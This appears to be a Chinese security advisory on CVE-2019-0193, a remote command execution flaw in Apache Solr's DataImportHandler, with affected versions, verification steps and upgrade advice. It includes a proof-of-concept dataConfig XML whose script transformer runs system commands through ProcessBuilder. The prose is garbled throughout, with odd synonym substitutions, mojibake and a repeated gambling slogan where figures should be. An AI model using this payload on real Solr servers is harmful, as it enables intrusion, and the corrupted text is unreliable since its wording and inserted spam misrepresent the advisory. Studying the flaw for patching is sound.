Apache Solr远程下令执行误差处置惩罚建议

宣布时间 2019-08-08

? 误差编号和级别


CVE编号:CVE-2019-0193,危险级别:严重,CVSS分值:官方未评定


? 影响版本


受影响的版本


适用于Solr < 8.2.0且开启了DataImport功效。


? 误差概述


Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、笔直搜索、高亮显示搜索效果等。


此次误差泛起在Apache Solr的DataImportHandler,该�?槭且桓隹裳〉S玫哪?�,用于从数据库和其他源中提取数据。


该误差源于用户在solrconfig.xml文件中设置了DataImportHandler,开启了DataImport功效。DataImportHandler�?樵市碛没ё约喊ň绫�,来举行设置。攻击者可以通过结构恶意的剧本交由转换器举行剖析,在Solr剖析的历程中并未对用户的输入做检查,可导致攻击者远程在Solr服务器上执行下令。


? 误差验证


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


会见url:http://ip:8983/solr/#/core1/dataimport//dataimport,保存这个路径,就证实用户的solr,有可选�?镈ataImportHandler,保存误差使用危害。详见下图:

 

尊龙凯时 - 人生就是搏!


该误差影响版本Solr < 8.2.0,在Dashboard页面可以审查solr的版本,详见下图:

 

尊龙凯时 - 人生就是搏!


? 修复建议


将Apache Solr升级至8.2.0或更高的版本。


暂时修复建议:


1、 编辑solrconfig.xml,将所有用牢靠值设置的DataImportHandler用法中的dataConfig参数设置为空字符串;

 

尊龙凯时 - 人生就是搏!


2、确保网络设置只允允许信的流量与Solr举行通讯,特殊是与DIH请求处置惩罚程序的通讯。


? 参考链接


https://issues.apache.org/jira/browse/SOLR-13669